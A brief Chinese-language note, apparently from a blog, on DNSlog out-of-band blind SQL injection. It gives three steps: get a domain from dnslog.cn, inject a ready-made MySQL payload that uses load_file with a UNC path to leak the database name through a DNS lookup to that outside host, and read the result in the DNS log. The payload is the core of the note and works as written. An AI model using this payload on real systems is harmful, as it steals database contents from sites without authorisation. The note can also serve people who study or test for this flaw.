DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上:

1、打开 http://www.dnslog.cn 获取域名

2、注入:

?id=1' and (select load_file(concat('//',(select database()),'.3.mw0gxd.dnslog.cn/a')))--+

3、点击刷新得到回显:

你可能感兴趣的:(笔记)